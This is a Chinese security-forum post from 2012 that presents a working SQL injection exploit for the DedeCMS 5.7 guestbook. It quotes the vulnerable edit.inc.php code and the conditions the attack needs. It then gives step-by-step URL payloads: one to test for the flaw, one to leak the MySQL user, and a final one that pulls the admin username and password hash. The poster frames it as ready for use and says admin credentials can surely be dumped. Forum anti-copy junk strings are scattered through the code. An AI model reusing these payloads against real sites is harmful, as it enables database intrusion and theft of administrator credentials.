找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4112|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7, Y* K% o* W  j8 ~* B

4 y! E" e1 I# B1 _* H/ c漏洞文件edit.inc.php具体代码:, a6 B9 S  K8 l+ Z, W' B1 R8 W7 j
7 |% [: N! ^- U/ [6 _0 S
< ?php  3 J& w: G2 y" v, a, o( }7 a+ k

3 {! K( ^/ L1 O4 J& s( Oif(!defined('DEDEINC')) exit('Request Error!');  
+ f- x" ^2 V1 j
+ w0 T- ?* r% G% @! T, Y) j; t   
+ l, L7 m# v1 L7 j* W( e4 _; I& M* ?* `1 F5 c, X/ v( G( n
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
; U& w+ m! {) R4 C- ~, ?" l1 |% l- k* A
else $GUEST_BOOK_POS = "guestbook.php";  
( m8 ~. x( {' h3 u8 E$ a" I: p  o; M+ U- o. W
   
% g1 i; H1 Z$ D0 L! C( `2 t  n) J$ A. P& S0 S1 ^
$id = intval($id);  1 `$ V% s0 w4 m; y

6 j% `5 j: d6 B/ r# T( Bif(empty($job)) $job='view';  
5 @% A3 F5 R% r3 q4 a" O8 P5 _5 V* j6 _' R0 T+ D
   # I- W8 n. e, f+ l" x; R
7 z5 J2 y1 [7 X  I0 V; g
if($job=='del' && $g_isadmin)  
% X7 P' C1 j$ S5 n# G) {. T- @
2 Z3 Z' S( y& X7 J5 z{  
4 L% J: u9 k' L3 i4 Z- U* S; ]. R" r$ ?. d
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
9 L# L5 {/ I/ a: b* s
/ l# e8 b; [% S% }ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
6 S- R$ j7 C: d8 m
# N. @2 s( }, p- I) Xexit();  * K. v2 T: b6 j/ A8 q
) f/ q5 C! p% N0 k9 L  a
}  % @% n! a6 Y5 m9 \! X1 {& n
9 [8 T2 _3 g0 x4 ^( G; _
else if($job=='check' && $g_isadmin)  
& }! W0 }5 U. l8 G6 h# R! n% [
/ F. {- w$ Y7 y+ j7 q  [0 [{  
# t0 ]+ R( B& W& o
( s- X$ P% y6 g" C2 u) F4 A3 q' c! t$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  " n8 I% k! K* _  n+ j( x) P1 O
; n7 e! Q* V( ~. _6 C, x
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  6 t! [  d( y5 k* u, C1 l* e

* B3 O/ N5 I7 g$ E' l9 }$ Z, rexit();  
  g7 s2 g% u1 X) [1 Z4 z: |. h1 H# ]$ |0 J+ U* ^1 N  b
}  , n% n' p( r2 L# c: U
7 Q( R. p3 d8 g/ {6 {
else if($job=='editok')  
. t1 W# D3 {: @
0 _) `7 K+ K4 B; x; Q' B2 O; {{  
5 r- [( [! q/ J
4 s  {! M* b1 [  r! i, l$remsg = trim($remsg);  
4 s7 }" Y& i2 u* D' k) F! N3 q4 u# G+ o' H# z# E% I' u% e, x
if($remsg!='')  
  y. e; d  j7 R  P) o9 x! @% w% C0 @2 b
{  
% o$ {& s8 o' }. D
( W3 f+ k3 |- l2 e  e/ _//管理员回复不过滤HTML By:Errorera blog:errs.cc  3 X! m) ~3 P3 F/ F

1 O5 `( _9 Y7 J4 G/ N/ {if($g_isadmin)  
' N4 Z9 G. C/ I2 _( k9 X
4 `( o3 Q" c: N2 @0 D- ]{  ' Y3 ^  i. j/ K& z/ d
8 o$ G% _: t, R0 W/ G/ l
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
& H* A8 ]' Z3 S- m$ g/ c, N/ O0 r# Q  K7 v" ^/ L
//$remsg <br /><font color=red>管理员回复:</font> }  
. k9 M  q& d8 N1 y
% H+ R. P' W9 G- y0 Helse
8 M8 a' P$ d4 J+ F2 A  |
5 @0 p# }4 Q$ S; g{  
# r* v1 J+ q* y) s3 `6 i4 n" V2 G2 j: n( T( K- {0 p
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");    r: a( X0 \  r8 B
- U0 K: |2 K3 i
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  & R, E0 W' ~4 C2 n! D7 @8 b6 o
9 O; I' }: U6 M
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  + C% G  ?" q/ v' U4 c; A

) {8 u9 ?' `: ~5 a& O) z$msg = $oldmsg.$remsg;  7 c- C) f. O  x0 M# K

9 t5 O' h' ]. d4 |3 q+ ~}  ( Q; ?3 u$ Z) {1 q% G) D
4 A2 D3 G8 V+ w- x7 u
}  7 w7 S, W, C1 t: m

# k' M  z4 I8 T- M! Z- ?//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  , H/ C4 V6 Y5 B# }4 s; A
/ r% |' a; V  P. b1 E) j3 T
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  9 t& K4 C% e* q8 I3 T& ~

9 ?+ i- g8 s& t1 a# t. vShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  2 ]. ?$ M( k" C! D. F
' N* n4 q/ F: n- O: e8 _
exit();  + c& x5 x" c7 }
" G2 M. D  H' J+ p
}  
8 T4 j0 G5 I% \7 K7 j/ o% N# O8 {9 w/ W; b' B& }# Z# C- _
//home:www.errs.cc  " V6 j; j- t$ o# c4 M8 y) e5 G
* _& ^6 [7 D8 V% @2 U$ O4 Q
if($g_isadmin)  
1 V* ^( T% r/ H0 P
, G8 c( K9 U; [5 ]- s{  3 g' d  p3 b- E) }8 e5 s" P$ H- N' ^" F2 z

5 K& T) i/ w" Q$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
; y! @0 m1 n) N$ s/ d
- F. f$ R/ E& d% \require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
" ]" n& \5 `% n: p) X$ Q
( C! D2 w4 q7 M. \' @; ^, |}  / T9 o8 ^8 @3 I* S3 Z

) C: @/ q- s3 [) Jelse 6 I6 s6 v+ R4 }2 E) m2 h, P

8 n- N7 U- p0 Z' l8 V% b2 Y9 `! B{  
. p+ B/ K* Z* l1 ~( v/ y( Y. E1 }. Z1 J
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
: I( s' y; e% g* Z; C! a, B7 |% a$ z- [
5 I5 I2 `% A( b- G6 ^) ~require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
9 j* n; [# a7 l. P& @+ k7 V
6 O  `% V2 @6 w- b& U8 N' {( w+ n6 o1 V} 漏洞成功需要条件:
/ Y5 b. |* O# \/ F1. php magic_quotes_gpc=off
4 t- \" W( F8 P; w0 A2 b2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
1 O; T0 m& \/ M6 T
( a: w, ?5 V1 E6 e怎么判断是否存在漏洞:
8 C; h+ y* O% X. K1 M/ Y先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,  S, a9 G( v# {
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
$ j2 B! b' @9 g访问:
# H3 b8 W4 F: N+ y2 e, j8 V, N. H2 }/ G5 q* f  d6 |: i# t  h* ~
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了: N1 t) m) {- g) B1 t6 H% C1 w- q6 Z
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证5 w5 r# A& W# k4 }
& v. s5 F3 h( }& }. Q

3 b6 E/ t# B% K: T$ A6 I明漏洞无法利用应为他开启了 php magic_quotes_gpc=off# z$ r+ C2 ?$ m$ c, H$ F* {& }
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。- }+ ^; w: S0 Q) i/ {+ e3 B
那么再次访问: _3 y9 `3 A& C+ f: w- g4 L

: b( P4 T  d5 T/ Q+ S+ U( Owww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().. q. J: a3 A$ L) i

$ u( c+ W( Y9 D大概利用就是这样,大家有兴趣的多研究下!!
( M/ m2 `# b& i; Y# Z
1 _% S5 s1 J) n! R$ n最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!( A8 y% M& N8 R( W) Z, M

7 y2 Y% B* |$ _! Q6 _$ i, Kview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表